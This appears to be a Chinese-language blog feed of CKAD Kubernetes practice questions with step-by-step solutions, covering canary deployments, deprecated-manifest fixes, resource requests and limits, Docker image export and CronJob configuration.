        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>namespace <code>goshawk</code> 中名为 <code>chipmunk-service</code> 的 Service 指向名为 <code>current-chipmunk-deployment</code> 的 Deployment 创建的 5 个 Pod<br><img src="https://images.hao.kim/uploads/2024/12/ae0d2d646b750e84ac96f68de2c51fb13b46ef9658e8bef3d84fe3ea9501a710.jpg" alt="canary-0">  </p><p>你可以在 <code>/ckad/goshawk</code>中找到 <code>current-chipmunk-deployment</code> 的清单文件。</p><ol><li>在同一 namespace 中创建一个 相同的 Deployment 名为 <code>canary-chipmunk-deployment</code></li><li>修改 Deployment 以便<ul><li>在 namespace <code>goshawk</code> 中运行的 Pod 的最大数量为 <code>10</code> 个</li><li><code>chipmunk.servic</code>e 流量的 <code>40%</code>流向 Pod <code>canary-chipmunk-deployment</code><br><img src="https://images.hao.kim/uploads/2024/12/fe7e8c8b5b3443da126d50342a74ab9b7dd9e8d658762162e8fffd16a8c6a09e.jpg" alt="canary-1"></li></ul></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/cluster-administration/manage-deployment/#canary-deployments">https://kubernetes.io/zh-cn/docs/concepts/cluster-administration/manage-deployment/#canary-deployments</a><br><a href="https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/deployment/#canary-deployment">https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/deployment/#canary-deployment</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -h</span><br><span class="line">kubectl scale -h</span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h3 id="copy一份yaml文件-并进行编辑-修改为canary-chipmunk-deployment部署的yaml"><a href="#copy一份yaml文件-并进行编辑-修改为canary-chipmunk-deployment部署的yaml" class="headerlink" title="copy一份yaml文件,并进行编辑, 修改为canary-chipmunk-deployment部署的yaml"></a>copy一份yaml文件,并进行编辑, 修改为canary-chipmunk-deployment部署的yaml</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /ckad/goshawk/</span><br><span class="line"><span class="built_in">cp</span> current-chipmunk-deployment.yaml canary-chipmunk-deployment.yaml</span><br><span class="line">vim canary-chipmunk-deployment.yaml</span><br></pre></td></tr></table></figure><p>canary-chipmunk-deployment.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">canary-chipmunk-deployment</span> <span class="comment">#修改为题目要求</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">goshawk</span> <span class="comment">#修改为题目要求</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">canary-chipmunk-deployment</span> <span class="comment">#修改为题目要求</span></span><br><span class="line">      <span class="attr">run:</span> <span class="string">dep-svc</span> <span class="comment">#确保和current-chipmunk-deployment都有此标签</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">canary-chipmunk-deployment</span> <span class="comment">#修改为题目要求</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">dep-svc</span> <span class="comment">#确保和current-chipmunk-deployment都有此标签</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">vicuu/nginx:hi</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">nginx</span></span><br></pre></td></tr></table></figure><p>创建canary pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f canary-chipmunk-deployment.yaml</span><br></pre></td></tr></table></figure><h3 id="根据题目-10个pod-current-60-canary-40-如果是其他比例也要灵活-比如8-2等"><a href="#根据题目-10个pod-current-60-canary-40-如果是其他比例也要灵活-比如8-2等" class="headerlink" title="根据题目, 10个pod ,current 60%,canary 40%, 如果是其他比例也要灵活, 比如8:2等"></a>根据题目, 10个pod ,current 60%,canary 40%, 如果是其他比例也要灵活, 比如8:2等</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n goshawk scale deployment current-chipmunk-deployment --replicas 6</span><br><span class="line">kubectl -n goshawk scale deployment canary-chipmunk-deployment --replicas 4</span><br></pre></td></tr></table></figure><p>查看pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n goshawk get pod</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/565f3b0960a2cf8c2a342ee11b914601f92432e4f9bbac4bbee33eb79588dde6.jpg" alt="canary-2">  </p><h3 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n goshawk get svc -owide</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> &#123;1..1000&#125; ; <span class="keyword">do</span>  curl -qs 10.109.141.220;<span class="keyword">done</span> | <span class="built_in">sort</span> |<span class="built_in">uniq</span> -c</span><br></pre></td></tr></table></figure><p>进行1000此请求计算百分比, 流量6:4</p><p><img src="https://images.hao.kim/uploads/2024/12/ea50c799f721ffe39892664fffc91bf28f8d45bc40903791d18c8a27d8ff87ee.jpg" alt="canary-3">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 6. 运行旧版应用程序</title>
      <link href="/archives/kubernetes/CKAD/spec-selector.html"/>
      <url>/archives/kubernetes/CKAD/spec-selector.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>修复清单文件 <code>/ckad/credible-mite/www.yaml</code> 中的任何 API 弃用问题 以便可以将应用程序部署在 k8s cluster 上 。 注意：该应用程序是为 Kubernetes v1.15 开发的 。 k8s cluster 运行着 Kubernetes v1.26</li><li>请在 <code>garfish</code> namespace 中 部署 更新后的 清 单文件 <code>/ckad/credible-mite/www.yaml</code> 中指定的应用程序 。</li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl explain deployment.spec</span><br><span class="line">kubectl explain deployment.spec.selector</span><br></pre></td></tr></table></figure><p>1.8版本之前 <code>.spec.selector</code> 可以省略 1.8版本之后 <code>.spec.selector</code> 不可以省略</p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>编辑yaml文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /ckad/credible-mite/www.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#/ckad/credible-mite/www.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span> <span class="comment">#修改</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">www-deployment</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">garfish</span> <span class="comment">#namespace</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span>         <span class="comment">#添加</span></span><br><span class="line">    <span class="attr">matchLabels:</span>    <span class="comment">#添加</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginx</span>    <span class="comment">#添加</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx:1.16</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">80</span></span><br><span class="line">        <span class="attr">volumeMounts:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">mountPath:</span> <span class="string">/var/log/nginx</span></span><br><span class="line">            <span class="attr">name:</span> <span class="string">logs</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">NGINX_ENTRYPOINT_OUIET_LOGS</span></span><br><span class="line">            <span class="attr">value:</span> <span class="string">&quot;1&quot;</span></span><br><span class="line">      <span class="attr">volumes:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">logs</span></span><br><span class="line">          <span class="attr">emptyDir:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f /ckad/credible-mite/www.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n garfish get all</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/5a3b13936effc746a6944ebbc1f6f3faf2b5318ae0efa0c8d2086f683dd6b04f.jpg" alt="spec-selector-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 |  5. CPU和内存 限制</title>
      <link href="/archives/kubernetes/CKAD/limits.html"/>
      <url>/archives/kubernetes/CKAD/limits.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>namespace <code>haddock</code> 中名为 <code>nosql</code> 的 Deployment 的 Pod 因其容器已用完资源而无法启动。 请更新 <code>haddock</code> Deployment ，使 Pod</p><ul><li>为其容器请求 <code>15Mi</code> 的内存</li><li>将内存限制为 <code>haddock</code> namespace 设置的<code>最大内存容量</code>的 <code>一半</code> 。 您可以在 <code>/ckad/chief-cardinal/nosql.yaml</code> 找到 <code>nosql</code> Deployment 的配置清单。</li></ul><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/configuration/manage-resources-containers/">https://kubernetes.io/zh-cn/docs/concepts/configuration/manage-resources-containers/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/9ab34a782382959aacd3bee3a25294bac7081f8746c22ab00ad108e3ac063bc6.jpg" alt="limits-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>查看namespace最大资源请求</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl describe ns haddock</span><br><span class="line"><span class="comment">#或者</span></span><br><span class="line">kubectl -n haddock describe limitranges</span><br></pre></td></tr></table></figure><p>注意查看Max的值</p><p><img src="https://images.hao.kim/uploads/2024/12/c8f48cd7060d15cba6731ef534f74a994998703f4f4175d628975fe87037c89b.jpg" alt="limits-1">  </p><p>修改deployment</p><h3 id="方法1"><a href="#方法1" class="headerlink" title="方法1"></a>方法1</h3><p>直接编辑deployment</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n haddock edit deployments.apps nosql</span><br></pre></td></tr></table></figure><p>在大约40行左右添加资源限制</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">resources:</span></span><br><span class="line">  <span class="attr">limits:</span></span><br><span class="line">    <span class="attr">memory:</span> <span class="string">20Mi</span></span><br><span class="line">  <span class="attr">requests:</span></span><br><span class="line">    <span class="attr">memory:</span> <span class="string">15Mi</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2b994c21f3fc867a8188338a7fbc037da644b5f5a1bc96e227a1c5562d369ce0.jpg" alt="limits-2">  </p><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n haddock describe deployments.apps nosql</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/1eb9c78c2024e18edb12943446f439bd7a160bf01ef32e6c2953d50ceff1fe88.jpg" alt="limits-3">  </p><h3 id="方法2"><a href="#方法2" class="headerlink" title="方法2"></a>方法2</h3><p>删除重建</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl delete -f /ckad/chief-cardinal/nosql.yaml</span><br></pre></td></tr></table></figure><p>编辑文件,添加资源请求</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /ckad/chief-cardinal/nosql.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nosql</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">haddock</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nosql</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nosql</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.16</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="comment">#添加下面的资源请求</span></span><br><span class="line">        <span class="attr">resources:</span></span><br><span class="line">          <span class="attr">requests:</span></span><br><span class="line">            <span class="attr">memory:</span> <span class="string">&quot;15Mi&quot;</span></span><br><span class="line">          <span class="attr">limits:</span></span><br><span class="line">            <span class="attr">memory:</span> <span class="string">&quot;20Mi&quot;</span></span><br></pre></td></tr></table></figure><p>创建&amp;检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f /ckad/chief-cardinal/nosql.yaml</span><br><span class="line">kubectl -n haddock describe deployments.apps nosql</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/da1cde07306c509120fc3f6d2eca70b260c69e52406b50f9120f05323a390583.jpg" alt="limits-4">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 4. CPU和内存 请求</title>
      <link href="/archives/kubernetes/CKAD/resources.html"/>
      <url>/archives/kubernetes/CKAD/resources.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在现有的 namespace <code>pod-resources</code> 中创建一个名为 <code>nginx-resources</code> 的 Pod 。 镜像为 <code>nginx:1.16</code> ,为其容器指定资源请求 <code>40m</code> 的 CPU 和 <code>50Mi</code> 的内存</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/configuration/manage-resources-containers/">https://kubernetes.io/zh-cn/docs/concepts/configuration/manage-resources-containers/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/0f86ddefe335cb6df1b1588b215d5fe2f23c78024585b551c7ac5d6bad7602bf.jpg" alt="resources-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>编辑yamlwenj</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim nginx-resources.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">nginx-resources</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">pod-resources</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">nginx-resources</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.16</span></span><br><span class="line">    <span class="attr">resources:</span></span><br><span class="line">      <span class="attr">requests:</span></span><br><span class="line">        <span class="attr">memory:</span> <span class="string">&quot;50Mi&quot;</span></span><br><span class="line">        <span class="attr">cpu:</span> <span class="string">&quot;40m&quot;</span></span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f nginx-resources.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n pod-resources get pod</span><br><span class="line">kubectl -n pod-resources describe pod nginx-resources</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 3. Dockerfile</title>
      <link href="/archives/kubernetes/CKAD/Dockerfile.html"/>
      <url>/archives/kubernetes/CKAD/Dockerfile.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>一个Dockerfile 已经存在于 <code>/ckad/DF/Dockerfile</code></p><ol><li>使用已存在的 Dockerfile ，构建一个名为 <code>centos</code> 和标签为 <code>8.2</code> 的容器镜像。您可以安装和使用您选择的工具。</li><li>使用您选择的工具，以 OCI 格式导出构建的容器镜像，并将其存储在 <code>/ckad/DF/centos-8.2.tar</code></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker -h</span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>查看dockerfile <code>/ckad/DF/Dockerfile</code></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">FROM</span> <span class="string">centos:8</span></span><br><span class="line"><span class="string">LABEL</span> <span class="string">maintainer=&quot;test</span> <span class="string">dockerfile&quot;</span></span><br><span class="line"><span class="string">LABEL</span> <span class="string">test=dockerfile</span></span><br><span class="line"><span class="string">USER</span> <span class="string">root</span></span><br><span class="line"><span class="string">RUN</span> <span class="string">useradd</span> <span class="string">shadow</span></span><br><span class="line"><span class="string">RUN</span> <span class="string">mkdir</span> <span class="string">/opt/shadow</span></span><br></pre></td></tr></table></figure><p>构建镜像</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /ckad/DF/</span><br><span class="line"><span class="built_in">sudo</span> docker build -t centos:8.2 .</span><br></pre></td></tr></table></figure><p>检查镜像</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> docker images</span><br></pre></td></tr></table></figure><p>导出镜像并保存</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> docker save centos:8.2 &gt; /ckad/DF/centos-8.2.tar</span><br><span class="line">ll</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/18a5eee807d87f07cdec5545c54404a05af4c6043f032c058a40d613b0de54b4.jpg" alt="Dockerfile-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 2. CronJob-2</title>
      <link href="/archives/kubernetes/CKAD/CronJob-2.html"/>
      <url>/archives/kubernetes/CKAD/CronJob-2.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>在清单文件 <code>/ckad/CKAD00016/periodic.yaml</code> 中定义此 Pod</li><li>在一个 <code>busybox:stable</code> 容器中运行命令 <code>date</code> 该命令必须每分钟运行一次，并且必须在 <code>10</code> 秒内完成运行，或者被 Kubernetes 终止运行。<br>  注意： CronJob 名称和容器名称都必须为 <code>hello</code></li><li>在上述清单文件中创建此资源，并验证此 Job 至少成功执行一次。</li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/job/automated-tasks-with-cron-jobs/">https://kubernetes.io/zh-cn/docs/tasks/job/automated-tasks-with-cron-jobs/</a><a href="https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/job/">https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/job/</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl explain cronjob.spec</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/cdf18c140f39985060c5efaee00071ca8321ba7e028107e936b84d92d1713ca0.jpg" alt="CronJob-2-0">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>编辑yaml文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /ckad/CKAD00016/periodic.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">batch/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">CronJob</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">hello</span>           <span class="comment"># 名称</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">schedule:</span> <span class="string">&quot;* * * * *&quot;</span> <span class="comment">#根据实际情况修改</span></span><br><span class="line">  <span class="attr">jobTemplate:</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">activeDeadlineSeconds:</span> <span class="number">10</span> <span class="comment">#pod存活时间</span></span><br><span class="line">      <span class="attr">template:</span></span><br><span class="line">        <span class="attr">spec:</span></span><br><span class="line">          <span class="attr">containers:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">hello</span>         <span class="comment">#名称</span></span><br><span class="line">            <span class="attr">image:</span> <span class="string">busybox:stable</span> <span class="comment">#镜像</span></span><br><span class="line">            <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">            <span class="attr">command:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">/bin/sh</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">-c</span></span><br><span class="line">            <span class="bullet">-</span> <span class="string">date</span>              <span class="comment">#命令</span></span><br><span class="line">          <span class="attr">restartPolicy:</span> <span class="string">OnFailure</span></span><br></pre></td></tr></table></figure><p>创建 cronjob</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f /ckad/CKAD00016/periodic.yaml</span><br></pre></td></tr></table></figure><p>检查cronjob和job, job需要一分钟以后才能看到</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get cronjobs hello</span><br><span class="line">kubectl get <span class="built_in">jobs</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d285cb6775a4c5ad5516badb29c1d5e93f738697dc670873dada87caaa107617.jpg" alt="CronJob-2-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 1. CronJob-1</title>
      <link href="/archives/kubernetes/CKAD/CronJob-1.html"/>
      <url>/archives/kubernetes/CKAD/CronJob-1.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目:"></a>模拟题目:</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h3 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h3><ol><li><p>创建一个名为 ppi 并执行一个运行以下单一容器的 Pod 的 CronJob</p> <figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">pi</span></span><br><span class="line">  <span class="attr">image:</span> <span class="string">perl:5</span></span><br><span class="line">  <span class="attr">command:</span> [<span class="string">&quot;perl&quot;</span>, <span class="string">&quot; Mbignum=bpi&quot;</span>, <span class="string">&quot; wle&quot;</span>, <span class="string">&quot;print bpi(2000)&quot;</span>]</span><br></pre></td></tr></table></figure><ul><li>CronJob配置 为：<ul><li>每隔 <code>5</code> 分钟执行一次</li><li>保留 <code>2</code> 个已完成的 Job</li><li>保留 <code>4</code> 个失败的 Job</li><li><code>永不重启</code> Pod</li><li>在 <code>8</code> 秒后终止 Pod</li></ul></li></ul></li><li><p>为测试目的，从 CronJob ppi 中 手动创建并执行一个名为 <code>ppi-test</code> 的 Job 。</p><ul><li>job完成与否不重要</li></ul></li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/job/automated-tasks-with-cron-jobs/">https://kubernetes.io/zh-cn/docs/tasks/job/automated-tasks-with-cron-jobs/</a><a href="https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/job/">https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/job/</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl explain cronjob.spec</span><br></pre></td></tr></table></figure><p>cron 表示法 <a href="https://tool.lu/crontab/">https://tool.lu/crontab/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/cdf18c140f39985060c5efaee00071ca8321ba7e028107e936b84d92d1713ca0.jpg" alt="CronJob-1-0"><br><img src="https://images.hao.kim/uploads/2024/12/749c3238479ece5dafd9c390a85baf54ec9767e229c21cd3575cd6c998f80be8.jpg" alt="CronJob-1-1"><br><img 